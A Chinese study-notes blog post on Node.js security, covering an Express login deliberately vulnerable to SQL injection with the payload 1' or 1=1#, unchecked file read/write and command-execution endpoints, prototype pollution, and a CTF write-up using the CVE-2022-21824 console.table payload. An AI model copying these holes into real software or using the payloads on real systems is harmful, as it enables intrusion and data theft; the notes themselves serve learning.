小迪安全v2023 js应用篇

小迪安全v2023 js应用篇

大体上跟随小迪安全的课程,本意是记录自己的学习历程,不能说是完全原创吧,大家可以关注一下小迪安全,他讲的挺好的。

若有冒犯,麻烦私信移除。

已获得迪の认可,哈哈

先下载安装node.js。

执行js文件:node xx.js

1. express框架

1. 基本使用

npm i express

npm i body-parser 用于处理json,raw,url,text编码数据

npm i mysql 用于操作mysql

cookie-parser 用于解析cookie

multer 用于处理enctype="multipart/form-data"的文件上传数据

t1.js

var express=require('express');
var app=express();
var bodyParser = require('body-parser');
var mysql=require('mysql');

var conn=mysql.createConnection({
    host:'localhost',
    user:'root',
    password:'123456',
    database:'user'
});

conn.connect();

// 使用 body-parser 中间件来解析 JSON 和 URL-encoded 的请求体  
app.use(bodyParser.json()); // 用于解析 application/json  
app.use(bodyParser.urlencoded({ extended: true })); // 用于解析 application/x-www-form-urlencoded

app.post('/login',function(req,res){
    var u=req.body.uname;//get请求用query, post请求用body
    var p=req.body.password;
    conn.query(`select * from t_user where username='${u}' and password=${p}`,function(error,results,fields){
        if(error) {
            res.send('数据库连接失败<a href=\'/\'>返回登录页面</a>');
            //或者res.redirect()
        }else{
            if(results.length){
                res.send('登录成功');
            }else{
                res.send('登陆失败<a href=\'/\'>返回登录页面</a>');
            }
        }
    });
})
//get路由
app.get('/',function(req,res){
    res.sendFile(__dirname+'/'+'index.html');//渲染html
})

var server = app.listen(8081, function () {
    var host = server.address().address;//ipv6则显示::
    var port = server.address().port;
    console.log("应用实例,访问地址为 http://127.0.0.1:%s", port);
  })

index.html

<!DOCTYPE html>
<head>
    <meta charset="utf-8">
    <title>示例</title>
</head>
<body>
    <form method="POST" action="/login" >
        <p>用户名:</p><input type="text" name='uname' id='uname'><br>
        <p>密码:</p><input type="password" name='password' id='password'><br>
        <input type="submit" value="提交">
    </form>
</body>

输入用户名1' or 1=1#

密码:1

在这里插入图片描述

建议使用预编译写法

var sql='select * from t_user where username=? and password=?';
var params=[u,p];
conn.query(sql,params,(err,results)=>{
    //...
})

2. 文件操作

npm i fs

var fs=require('fs');
var express=require('express');
var app=express();
app.get('/file',(req,res)=>{//读取目录
    var dir=req.query.dir;
    console.log(dir);
    filemanage(dir);
});
app.get('/read_file',(req,res)=>{//文件读取
    var buf =new Buffer.alloc(1024);
    var path=req.query.path;
    console.log(path);
    fs.open(path,'r+',(err,fd)=>{
  		if(err){
            return console.error(err);
        }
        fs.read(fd,buf,0,buf.length,0,(err,bytes)=>{
            if(err) console.log(err);
        	console.log(bytes+'字节被读取!');
        	
        	//仅输出读取的字节
        	if(bytes>0){
                console.log(buf.slice(0,bytes).toString());
            }
            fs.close(fd);
        });
    })
})
app.get('/write_file',(req,res)=>{//文件写入
    var buf =new Buffer.alloc(1024);
    var path=req.query.path;
    var str1=req.query.str1;
    console.log(path);
    fs.writeFile(path,str1,{flag:'a+'},(err,fd)=>{
        //读写方式打开文件。文件存在则追加,不存在,则创建新文件。
  		if(err){
            return console.error(err);
        }
        //读取文件
        fs.readFile(path,(err,data)=>{
            if(err) console.log(err);
        	console.log('异步读取文件数据:'+data.toString());
        });
    })
})
function filemanage(dir){
    fs.readdir(dir,function(err,files){
        console.log(files);
    });
}
var server = app.listen(8081, function () {
    var host = server.address().address;//ipv6则显示::
    var port = server.address().port;
    console.log("应用实例,访问地址为 http://127.0.0.1:%s", port);
  })

访问/read_dile?path=./uploads/123.txt

在这里插入图片描述

访问 /write_file?path=./uploads/123.txt&str1=123

在这里插入图片描述

3. 命令执行

npm i child_process

const rce=require('child_process');
rce.exec('notepad');
rce.spawnSync('calc');
eval('require("child_process").exec("calc");');

2. 原型链污染

​ 如果攻击者控制了一个对象的原型(__proto__),那么可以影响所有和这个对象来自同一类,父祖类的对象。

在这里插入图片描述

参考上图

let cat={jk:999};
cat.__proto__.jk=2;
var a=()=>{//箭头函数,其实跟普通函数差不多
    console.log(jk);
}
a.__proto__.__proto__.jk='a';
let zoo={};
console.log(cat.jk);//999
console.log(zoo.jk);//a 未定义会在链上寻找,先查到a,后查到2
a();//a
function b(){
    console.log(jk);
}
b();//a
let bbc=new b();//打印a
//{}.__proto__ 是个对象,Object.prototype
//{}.__proto__.__proto__ 是null
//a.__proto__ 是个函数,Function.prototype(所有函数的原型对象)
//a.__proto__.__proto__ 是个对象,Object.prototype
//a.__proto__.__proto__.__proto__ 是null,不能设属性
//bbc.__proto__ 是b函数原型对象(prototype)
//bbc.__proto__.__proto__.__proto__ 是null
//原型链先查Object.prototype上的属性,再查Function.prototype上的属性

3. buuctf VNCTF2022 newcalc0

huli 佬题解

题目部分源码

const express = require("express"); // 引入 Express 框架  
const path = require("path"); // 引入 path 模块,但在此代码段中并未使用  
const vm2 = require("vm2"); // 引入 vm2 模块,用于安全地执行 JavaScript 代码  
  
const app = express(); // 创建一个 Express 应用实例  
app.use(express.urlencoded({ extended: true })); // 解析 application/x-www-form-urlencoded 类型的请求体数据  
app.use(express.json()); // 解析 application/json 类型的请求体数据  
  
app.use(express.static("static")); // 设置静态文件目录为 "static"  
  
// 创建一个 vm2.NodeVM 实例,用于安全地执行 JavaScript 代码  
const vm = new vm2.NodeVM({  
  // 可以在这里配置 vm2 的选项,如限制全局变量、模块等  
  // 例如:console: 'console', // 允许使用 console 对象  
  // require: {  
  //   external: true, // 允许 require 外部模块  
  //   builtin: ['fs'] // 允许使用 fs 模块  
  // }  
});  
  
// /eval 路由,用于执行传入的 JavaScript 代码  
app.use("/eval", (req, res) => {  
  const e = req.body.e; // 从请求体中获取要执行的代码字符串  
  if (!e) {  
    res.send("wrong?"); // 如果没有提供代码,返回 "wrong?"  
    return;  
  }  
  try {  
    // 尝试执行代码,并将返回值转换为字符串  
    // 注意:这种方式执行代码可能存在安全风险,应确保代码是安全的  
    res.send(vm.run(`(function() { return ${e}; })()`).toString() ?? "no");  
  } catch (err) {  
    console.error(err); // 捕获并打印错误  
    res.send("wrong?"); // 发生错误时返回 "wrong?"  
  }  
});  
  
// /flag 路由,本意可能是检查环境变量或进行某种安全检查  
// 但实现方式存在安全隐患,并可能导致敏感信息泄露  
app.use("/flag", (req, res) => {  
  // 通常不建议修改 Object.prototype  
  // 这里的检查可能是想检测是否有恶意代码修改了 Object.prototype  
  if (Object.keys(Object.prototype).length > 0) {  
    // 如果有,尝试清理并返回 FLAG 环境变量(这是不安全的)  
    // 注意:FLAG 环境变量可能包含敏感信息,不应直接返回给客户端  
    Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);  
    // 这里假设 process.env.FLAG 存在,但通常不推荐这样做  
    res.send(process.env.FLAG || "FLAG not set");  
  } else {  
    // 如果没有,返回 Object.prototype 的键(通常是一个空数组)  
    res.send(Object.keys(Object.prototype));  
  }  
});

使用cve-2022-21824的payload

console.table([{x:1}], ["__proto__"]);,之后访问/flag页面得到flag

查看console.table的部分源码

// tabularData 是第一個參數 [{x:1}]
// properties 是第二個參數 ["__proto__"]
const map = ObjectCreate(null);
let hasPrimitives = false;
const valuesKeyArray = [];
const indexKeyArray = ObjectKeys(tabularData);

for (; i < indexKeyArray.length; i++) {
  const item = tabularData[indexKeyArray[i]];
  const primitive = item === null ||
      (typeof item !== 'function' && typeof item !== 'object');
  if (properties === undefined && primitive) {
    hasPrimitives = true;
    valuesKeyArray[i] = _inspect(item);
  } else {
    const keys = properties || ObjectKeys(item);
	
    // for of 的時候 key 會是 __proto__ 
    for (const key of keys) {
      if (map[key] === undefined)
        map[key] = [];
      
      // !ObjectPrototypeHasOwnProperty(item, key) 會成立
      if ((primitive && properties) ||
           !ObjectPrototypeHasOwnProperty(item, key))

        // 因此 map[__proto__][0] 會是空字串
        map[key][i] = '';
      else
        map[key][i] = _inspect(item[key]);
    }
  }
}

​ 所以透過這個方式,可以污染 Object.prototype[0],讓它變成空字串。而空字符串也算数组的元素。

const express = require("express");
con-st app = express();
app.use("/", (req, res) => {
    Object.prototype[0]="";
    console.log(Object.keys(Object.prototype).length);//输出1
  })
app.listen(process.env.PORT || 8888);
  • 20
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值